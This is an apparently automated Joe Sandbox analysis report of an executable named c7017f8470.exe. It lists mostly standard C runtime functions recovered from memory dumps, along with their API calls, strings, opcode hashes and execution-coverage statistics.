Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1f3ff83f5ffb48a2643466186f09bc53c48ff98f7821af06fcb4c860d3712020
Instruction ID: a15443bca4eeeeae0b529def4acbe0341344878ad7305f147102be777b1f5004
Opcode Fuzzy Hash: 1f3ff83f5ffb48a2643466186f09bc53c48ff98f7821af06fcb4c860d3712020
Instruction Fuzzy Hash: DB01D63220B3326FEA25A7FCBDC5A6F2B95EB017797200339F524A51F1EF594C429294

Function 00A28EC9 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A28FE8
CallUnexpected.LIBVCRUNTIME ref: 00A29261

Strings

csm, xrefs: 00A28F06
csm, xrefs: 00A28F73
csm, xrefs: 00A2901F

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 6a1b460f44dcef504111a6ae4527de931f843984d5e2c81d1afbf8be78899fa4
Instruction ID: 046f829e71d10e151ea1a8256fae805123131c24112ebfaa271b4e78e419ade9
Opcode Fuzzy Hash: 6a1b460f44dcef504111a6ae4527de931f843984d5e2c81d1afbf8be78899fa4
Instruction Fuzzy Hash: 7BB1783180122AEFCF18DFA9EA859AFB7B5FF18700F104169F8156B202D735DA61CB91

Function 00A2DC9B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe, xrefs: 00A2DCB7

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe
API String ID: 0-3123263984
Opcode ID: e472b83761f25e06f1896525ca5983cd6ff2a2103620ebbb66e912944951d497
Instruction ID: 4228585c3b89dd33e76193af767386b939476742abf11d81b8fda05bcd494302
Opcode Fuzzy Hash: e472b83761f25e06f1896525ca5983cd6ff2a2103620ebbb66e912944951d497
Instruction Fuzzy Hash: 3B218E71601629AFDB20AF7DED8196A77A9EF443647108935F91997252EB70EC00C7A0

Function 00A2720B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0BA9D0CA,?,?,00000000,00A35CA3,000000FF,?,00A272CC,00000002,?,00A27368,00A284AD), ref: 00A27240
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A27252
FreeLibrary.KERNEL32(00000000,?,?,00000000,00A35CA3,000000FF,?,00A272CC,00000002,?,00A27368,00A284AD), ref: 00A27274

Strings

CorExitProcess, xrefs: 00A2724A
mscoree.dll, xrefs: 00A27239

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 10601b47e054c220ef618301951cf7ce72fe2478d5fa9752505bbbf20428fc54
Instruction ID: 51d9a7aa103e606525fb6217a32db5e78722b3e811e104809f66d8478a8979da
Opcode Fuzzy Hash: 10601b47e054c220ef618301951cf7ce72fe2478d5fa9752505bbbf20428fc54
Instruction Fuzzy Hash: 8F016771954665EFDB11CF94DC09FAEBBB8FB44B25F004925F811A26D0DB749901CB90

Function 00A2F1A5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00A2F22A
__alloca_probe_16.LIBCMT ref: 00A2F2F3
__freea.LIBCMT ref: 00A2F35A

Part of subcall function 00A2B8D6: RtlAllocateHeap.NTDLL(00000000,00A2AB77,?,?,00A2AB77,00000220,?,00000000,?), ref: 00A2B908

__freea.LIBCMT ref: 00A2F36D
__freea.LIBCMT ref: 00A2F37A

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 9995c73069fd6dc22e89f8b6e40267c563cfd187ac51542820abe20576b8d945
Instruction ID: 152ed06bb8b046d3611ae2523eccba8964b89bd009bca7246ffe9fc9b8f044f2
Opcode Fuzzy Hash: 9995c73069fd6dc22e89f8b6e40267c563cfd187ac51542820abe20576b8d945
Instruction Fuzzy Hash: 4051BE7260026AAFEB249FA8ED81EBB76B9EF44750F150139FD14DB251EB74CC10C660

Function 00A230C1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A230D5
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A230F4
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A23122
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A2317D
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00A35C4C,000000FF,?,00A2211F), ref: 00A23194

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: ae393c494aa473cf41abcb170cdc0db8efaf7aa143daa36011b85612ae77171d
Instruction ID: 078a7c540960a0822fb40e810e8f96aafa8f481c0a1e599a8bf04604ee55212a
Opcode Fuzzy Hash: ae393c494aa473cf41abcb170cdc0db8efaf7aa143daa36011b85612ae77171d
Instruction Fuzzy Hash: 87417F3260062ADFCF24CF6DE98596AB3F5FF06711B104A39E406D7940D738EA65CB50

Function 00A21C40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A21C9D
RegisterClassW.USER32(?), ref: 00A21CB2
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A21CDB

Strings

Christmas Balls, xrefs: 00A21CA7

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: Christmas Balls
API String ID: 1585107554-3481381322
Opcode ID: 9caf29df2ea59ed30d84b9387c62ecd038606903a2643816b5adbb8ac6f09c27
Instruction ID: bab8498bc21ec91da77c5af0c497955f5e340113fdba4d21f8e0b2dca6735712
Opcode Fuzzy Hash: 9caf29df2ea59ed30d84b9387c62ecd038606903a2643816b5adbb8ac6f09c27
Instruction Fuzzy Hash: 2D218CB1C403899BDB10CFA4ED45BEEBBB4FF59714F101229F408B6240E7742690CB90

Function 00A2EEE6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00A2EF82,00000000,?,00A3F760,?,?,?,00A2EEB9,00000004,InitializeCriticalSectionEx,00A378B0,00A378B8), ref: 00A2EEF3
GetLastError.KERNEL32(?,00A2EF82,00000000,?,00A3F760,?,?,?,00A2EEB9,00000004,InitializeCriticalSectionEx,00A378B0,00A378B8,00000000,?,00A2951C), ref: 00A2EEFD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00A2EF25

Strings

api-ms-, xrefs: 00A2EF0A

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ee8fbe59a8f8499e6af0ec311c36b1f01afd8554f3a4820512dac04ae3891bcc
Instruction ID: c842fe36549b5d384d346d7a9ca4661f300bf3777337020a47ad4e4e3b83c3e6
Opcode Fuzzy Hash: ee8fbe59a8f8499e6af0ec311c36b1f01afd8554f3a4820512dac04ae3891bcc
Instruction Fuzzy Hash: DAE04F32684208B7EB109BA5FD06F683F56EB05BA0F108430F90DB80E0EB62F8519A44

Function 00A2F86C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0BA9D0CA,00000000,00000000,?), ref: 00A2F8CF

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A2FB21
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00A2FB67
GetLastError.KERNEL32 ref: 00A2FC0A

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: db0bc0a46ecaae6b3cc4a321f778461de43bbd4a06c117dda413d94626cec4bf
Instruction ID: f6335b181d36285abc61a444301fce2c232b64e45221ca8397af9c922599c93f
Opcode Fuzzy Hash: db0bc0a46ecaae6b3cc4a321f778461de43bbd4a06c117dda413d94626cec4bf
Instruction Fuzzy Hash: 6AD15C75D00258AFCF15CFA8E880AEDBBB5FF09314F24457AE856EB351D630A942CB50

Function 00A28BF0 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A28CB7
___AdjustPointer.LIBCMT ref: 00A28CDA
___AdjustPointer.LIBCMT ref: 00A28D76

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: af18ab8d466143361899fdf8ffae546ab187285aaf7ac80bcceece3b6be096f3
Instruction ID: e15aaf6f71bb49c57306df4a2403d392e6ff3c2f5807624ab1c48910f91f99cb
Opcode Fuzzy Hash: af18ab8d466143361899fdf8ffae546ab187285aaf7ac80bcceece3b6be096f3
Instruction Fuzzy Hash: AB51DF72603226AFDB299F18F941B7A73A4EF24311F24443DF801572D1DB39AC45C7A0

Function 00A2D6FF Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

GetLastError.KERNEL32 ref: 00A2D763
__dosmaperr.LIBCMT ref: 00A2D76A
GetLastError.KERNEL32(?,?,?,?), ref: 00A2D7A4
__dosmaperr.LIBCMT ref: 00A2D7AB

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 516107f660acec7c01c1b116f0714d1b00853944205c52f7c4fcd64c02896238
Instruction ID: a6c2be15a519657011d67cf7e62f84d2b64dcaa8ffaedba8619ac8c687f76e35
Opcode Fuzzy Hash: 516107f660acec7c01c1b116f0714d1b00853944205c52f7c4fcd64c02896238
Instruction Fuzzy Hash: D7219271600225AFDB20AF6DFD8186AB7B9EF443647148539FD1997242DB34EC4087A0

Function 00A2E452 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A2E45A

Part of subcall function 00A2E356: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00A2F350,?,00000000,-00000008), ref: 00A2E3B7

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A2E492
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A2E4B2

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 888c8034e250a4e735a67b3441ca8928afa4e71db2d503f5214c4e5dd921a837
Instruction ID: 2140392a18591c300da1e8faff73075dc4487ff7e98e8349efa41b1c5e497783
Opcode Fuzzy Hash: 888c8034e250a4e735a67b3441ca8928afa4e71db2d503f5214c4e5dd921a837
Instruction Fuzzy Hash: F911C4F25016357FA721B7B9BE8DCAF296CDE453A47140434F906E1101EE25DE414275

Function 00A3429C Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000), ref: 00A342B3
GetLastError.KERNEL32(?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?,?,?,00A2F5A4,?), ref: 00A342BF

Part of subcall function 00A34310: CloseHandle.KERNEL32(FFFFFFFE,00A342CF,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?,?), ref: 00A34320

___initconout.LIBCMT ref: 00A342CF

Part of subcall function 00A342F1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00A3428D,00A3310B,?,?,00A2FC5E,?,00000000,00000000,?), ref: 00A34304

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00A3311E,00000000,00000001,?,?,?,00A2FC5E,?,00000000,00000000,?), ref: 00A342E4

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b8075a20d566f48710c1e1fd34a2c5c110b21ab61a1992aa00325e833ca46a42
Instruction ID: ae82e588f2081462162411360e59009c427a8038630b52f83d72ef188ef53612
Opcode Fuzzy Hash: b8075a20d566f48710c1e1fd34a2c5c110b21ab61a1992aa00325e833ca46a42
Instruction Fuzzy Hash: 8CF0A237500115BBCF129FD6EC049DA3F26FF4D3B1F044510F919A5170C63198619B90

Function 00A238D1 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00A238E3
GetCurrentThreadId.KERNEL32 ref: 00A238F2
GetCurrentProcessId.KERNEL32 ref: 00A238FB
QueryPerformanceCounter.KERNEL32(?), ref: 00A23908

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9181dbbae6c1a2e7b37b67b88a616033f56437429594cbb925b6d17cddc9c31f
Instruction ID: 6f12e665701d3d926dca26ee509091c2574c91b77fcc9585bea446d9e7991b3f
Opcode Fuzzy Hash: 9181dbbae6c1a2e7b37b67b88a616033f56437429594cbb925b6d17cddc9c31f
Instruction Fuzzy Hash: 42F05F75D1020DEBCB00DBF4D94999EBBF4FF1C614B9155A6A412F6110EA30AB459B50

Function 00A292ED Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00A291EE,?,?,00000000,00000000,00000000,?), ref: 00A29312

Strings

RCC, xrefs: 00A2932C
MOC, xrefs: 00A29324

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c5693da8d53cedcbc1fb2d9bd4f5a8ba1d3d6da3cf598decfe7a91197379fea3
Instruction ID: 7b2bc2268b2cb2c7415d179b32ff73c562ef0c32279c420e4741dd363c702e07
Opcode Fuzzy Hash: c5693da8d53cedcbc1fb2d9bd4f5a8ba1d3d6da3cf598decfe7a91197379fea3
Instruction Fuzzy Hash: 05418832900219EFDF15EF98ED81AEEBBB5FF48704F1880A9FA05AB251D3359951CB50

Function 00A28B59 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00A28DD0

Strings

csm, xrefs: 00A28DF2
csm, xrefs: 00A28E63

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 02a12b2167465f5aa73a81fcbd070ac4c66665e14db7f90fef207559ca688259
Instruction ID: 8364b4d5ebf3677da75e3f6a206dc7e734ac316be966f61d7306cf0f2ca41afb
Opcode Fuzzy Hash: 02a12b2167465f5aa73a81fcbd070ac4c66665e14db7f90fef207559ca688259
Instruction Fuzzy Hash: 6E31D532801238DFCF269F58EC4496A7B66FF08715B1A8179F85449221CB3ADC61DB91

Analysis Process: c7017f8470.exePID: 4588, Parent PID: 4956COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40%
Total number of Nodes:	80
Total number of Limit Nodes:	7

Executed Functions

